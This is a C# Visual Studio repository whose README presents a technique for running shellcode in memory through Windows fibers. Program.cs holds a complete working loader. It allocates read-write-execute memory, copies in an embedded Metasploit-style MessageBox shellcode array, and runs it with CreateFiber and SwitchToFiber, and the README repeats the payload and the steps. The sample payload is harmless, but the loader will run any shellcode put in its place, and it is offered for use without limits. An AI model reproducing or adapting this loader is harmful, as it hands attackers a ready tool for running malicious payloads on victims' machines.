├── .vs └── Fiber_ShellcodeExecution │ └── v16 │ └── .suo ├── Fiber_ShellcodeExecution.sln ├── Fiber_ShellcodeExecution ├── App.config ├── Fiber_ShellcodeExecution.csproj ├── NativeFunctions.cs ├── NativeStructs.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── bin │ ├── Debug │ │ ├── Fiber_ShellcodeExecution.exe │ │ ├── Fiber_ShellcodeExecution.exe.config │ │ └── Fiber_ShellcodeExecution.pdb │ └── x64 │ │ └── Debug │ │ ├── Fiber_ShellcodeExecution.exe │ │ ├── Fiber_ShellcodeExecution.exe.config │ │ └── Fiber_ShellcodeExecution.pdb └── obj │ ├── Debug │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache │ ├── Fiber_ShellcodeExecution.csproj.FileListAbsolute.txt │ ├── Fiber_ShellcodeExecution.csprojAssemblyReference.cache │ ├── Fiber_ShellcodeExecution.exe │ └── Fiber_ShellcodeExecution.pdb │ ├── x64 │ └── Debug │ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache │ │ ├── Fiber_ShellcodeExecution.csproj.FileListAbsolute.txt │ │ ├── Fiber_ShellcodeExecution.csprojAssemblyReference.cache │ │ ├── Fiber_ShellcodeExecution.exe │ │ └── Fiber_ShellcodeExecution.pdb │ └── x86 │ └── Debug │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ └── DesignTimeResolveAssemblyReferencesInput.cache └── README.md /.vs/Fiber_ShellcodeExecution/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/.vs/Fiber_ShellcodeExecution/v16/.suo -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31129.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fiber_ShellcodeExecution", "Fiber_ShellcodeExecution\Fiber_ShellcodeExecution.csproj", "{2212797D-FB0A-44E1-B5F5-D421CBCC7910}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|x64.ActiveCfg = Debug|x64 21 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|x64.Build.0 = Debug|x64 22 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|x86.ActiveCfg = Debug|x86 23 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Debug|x86.Build.0 = Debug|x86 24 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|x64.ActiveCfg = Release|x64 27 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|x64.Build.0 = Release|x64 28 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|x86.ActiveCfg = Release|x86 29 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {164E75AF-296A-4985-A3A0-F1ADA8F33685} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/Fiber_ShellcodeExecution.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {2212797D-FB0A-44E1-B5F5-D421CBCC7910} 8 | Exe 9 | Fiber_ShellcodeExecution 10 | Fiber_ShellcodeExecution 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | true 57 | bin\x86\Debug\ 58 | DEBUG;TRACE 59 | full 60 | x86 61 | 7.3 62 | prompt 63 | true 64 | 65 | 66 | bin\x86\Release\ 67 | TRACE 68 | true 69 | pdbonly 70 | x86 71 | 7.3 72 | prompt 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/NativeFunctions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static Fiber_ShellcodeExecution.NativeStructs; 8 | 9 | namespace Fiber_ShellcodeExecution 10 | { 11 | class NativeFunctions 12 | { 13 | [DllImport("kernel32.dll", SetLastError = true)] 14 | public static extern IntPtr ConvertThreadToFiber(IntPtr lpParameter); 15 | 16 | [DllImport("kernel32", SetLastError = true)] 17 | public static extern IntPtr VirtualAlloc( 18 | IntPtr lpStartAddr, 19 | UInt32 size, 20 | AllocationType flAllocationType, 21 | AllocationProtect flProtect); 22 | 23 | [DllImport("kernel32.dll", SetLastError = true)] 24 | public extern static IntPtr CreateFiber(int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter); 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | public extern static IntPtr SwitchToFiber(IntPtr fiberAddress); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/NativeStructs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Fiber_ShellcodeExecution 8 | { 9 | class NativeStructs 10 | { 11 | public enum AllocationProtect : uint 12 | { 13 | PAGE_EXECUTE = 0x00000010, 14 | PAGE_EXECUTE_READ = 0x00000020, 15 | PAGE_EXECUTE_READWRITE = 0x00000040, 16 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 17 | PAGE_NOACCESS = 0x00000001, 18 | PAGE_READONLY = 0x00000002, 19 | PAGE_READWRITE = 0x00000004, 20 | PAGE_WRITECOPY = 0x00000008, 21 | PAGE_GUARD = 0x00000100, 22 | PAGE_NOCACHE = 0x00000200, 23 | PAGE_WRITECOMBINE = 0x00000400 24 | } 25 | 26 | public enum AllocationType 27 | { 28 | Commit = 0x1000, 29 | Reserve = 0x2000, 30 | Decommit = 0x4000, 31 | Release = 0x8000, 32 | Reset = 0x80000, 33 | Physical = 0x400000, 34 | TopDown = 0x100000, 35 | WriteWatch = 0x200000, 36 | LargePages = 0x20000000 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static Fiber_ShellcodeExecution.NativeFunctions; 8 | using static Fiber_ShellcodeExecution.NativeStructs; 9 | 10 | namespace Fiber_ShellcodeExecution 11 | { 12 | class Program 13 | { 14 | public static void Fiber_ShellcodeExecution() 15 | { 16 | /* MessageBox */ 17 | byte[] buf1 = new byte[323] { 18 | 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 19 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 20 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 21 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 22 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 23 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 24 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 25 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 26 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 27 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 28 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 29 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 30 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 31 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 32 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 33 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d, 34 | 0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 35 | 0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48, 36 | 0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, 37 | 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f, 38 | 0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73, 39 | 0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 }; 40 | 41 | // Convert the main thread to fiber 42 | IntPtr main_fiber = ConvertThreadToFiber(IntPtr.Zero); 43 | Console.WriteLine($"main_fiber address: 0x{main_fiber.ToInt64():X16}"); 44 | 45 | IntPtr buf1_address = VirtualAlloc( 46 | IntPtr.Zero, 47 | (UInt32)buf1.Length, 48 | AllocationType.Commit, 49 | AllocationProtect.PAGE_EXECUTE_READWRITE); 50 | Console.WriteLine($"buf1 address: 0x{buf1_address.ToInt64():X16}"); 51 | 52 | Marshal.Copy(buf1, 0, (buf1_address), buf1.Length); 53 | 54 | // CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL) 55 | IntPtr buf1_fiber = CreateFiber(0, buf1_address, IntPtr.Zero); 56 | Console.WriteLine($"fiber address: 0x{buf1_fiber.ToInt64():X16}"); 57 | 58 | // Manually switch to the fiber to execute buf1 59 | SwitchToFiber(buf1_fiber); 60 | 61 | } 62 | 63 | static void Main(string[] args) 64 | { 65 | Fiber_ShellcodeExecution(); 66 | 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("Fiber_ShellcodeExecution")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Fiber_ShellcodeExecution")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("2212797d-fb0a-44e1-b5f5-d421cbcc7910")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*"，如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/Debug/Fiber_ShellcodeExecution.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/bin/Debug/Fiber_ShellcodeExecution.exe -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/Debug/Fiber_ShellcodeExecution.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/Debug/Fiber_ShellcodeExecution.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/bin/Debug/Fiber_ShellcodeExecution.pdb -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/x64/Debug/Fiber_ShellcodeExecution.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/bin/x64/Debug/Fiber_ShellcodeExecution.exe -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/x64/Debug/Fiber_ShellcodeExecution.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/bin/x64/Debug/Fiber_ShellcodeExecution.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/bin/x64/Debug/Fiber_ShellcodeExecution.pdb -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | f51670db1ae6a4caf937b4c44814c846beba5d00 2 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\Debug\Fiber_ShellcodeExecution.exe.config 2 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\Debug\Fiber_ShellcodeExecution.exe 3 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\Debug\Fiber_ShellcodeExecution.pdb 4 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\Debug\Fiber_ShellcodeExecution.csprojAssemblyReference.cache 5 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\Debug\Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache 6 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\Debug\Fiber_ShellcodeExecution.exe 7 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\Debug\Fiber_ShellcodeExecution.pdb 8 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.exe -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/Debug/Fiber_ShellcodeExecution.pdb -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 513278de0e2a68aebaf9ad310633d6d7531dfc95 2 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\x64\Debug\Fiber_ShellcodeExecution.exe.config 2 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\x64\Debug\Fiber_ShellcodeExecution.exe 3 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\bin\x64\Debug\Fiber_ShellcodeExecution.pdb 4 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\x64\Debug\Fiber_ShellcodeExecution.csprojAssemblyReference.cache 5 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\x64\Debug\Fiber_ShellcodeExecution.csproj.CoreCompileInputs.cache 6 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\x64\Debug\Fiber_ShellcodeExecution.exe 7 | C:\Project\Projects\Project_Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\Fiber_ShellcodeExecution\obj\x64\Debug\Fiber_ShellcodeExecution.pdb 8 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.exe -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/x64/Debug/Fiber_ShellcodeExecution.pdb -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x86/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /Fiber_ShellcodeExecution/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kara-4search/Fiber_ShellcodeExecution/5fd53a2107bb9b5da4d154ccfc0366a285debde6/Fiber_ShellcodeExecution/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Fiber_ShellcodeExecution_CSharp 2 | 3 | - Blog link: not gonna update 4 | 5 | - A fiber is a unit of execution that must be manually scheduled by the application. Fibers run in the context of the threads that schedule them. 6 | - Executing shellcode in a local process through fibers. 7 | - Steps 8 | 1. Convert the main thread to a fiber cause only one fiber can schedule another fiber. 9 | 2. Write the shellcode into a memory region via "VirtualAlloc" and "Marshal.Copy" 10 | 3. Create a new fiber via "CreateFiber" that points to the shellcode location - this is the fiber we will be scheduling from the fiber we got in step 1 when converting the main thread to a fiber. 11 | 4. Schedule the newly created fiber that points to our shellcode 12 | 5. The fiber gets executes when we call the API "SwitchToFiber" 13 | 14 | - Only tested in Win10/x64 works fine. 15 | - The shellcode below is a messagebox 16 | ``` 17 | /* MessageBox */ 18 | byte[] buf1 = new byte[323] { 19 | 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 20 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 21 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 22 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 23 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 24 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 25 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 26 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 27 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 28 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 29 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 30 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 31 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 32 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 33 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 34 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d, 35 | 0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 36 | 0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48, 37 | 0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, 38 | 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f, 39 | 0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73, 40 | 0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 }; 41 | ``` 42 | 43 | ## Usage 44 | 1. Whatever you want 45 | ![avatar](https://raw.githubusercontent.com/Kara-4search/ProjectPics/main/Fiber_ShellcodeExecution.png) 46 | 47 | ## TO-DO list 48 | - NONE 49 | 50 | ## Update history 51 | - NONE 52 | 53 | ## Reference link: 54 | 1. https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfiber 55 | 2. https://www.cnblogs.com/Robert-huge/archive/2012/12/20/2825987.html 56 | 3. http://www.java2s.com/Tutorial/CSharp/0520__Windows/Fiber.htm 57 | 4. https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber 58 | 5. http://blog.leanote.com/post/snowming/fcdac52e3b5b 59 | 6. https://www.pinvoke.net/default.aspx/kernel32/ConvertThreadToFiber.html 60 | 7. https://www.pinvoke.net/default.aspx/kernel32/CreateFiber.html --------------------------------------------------------------------------------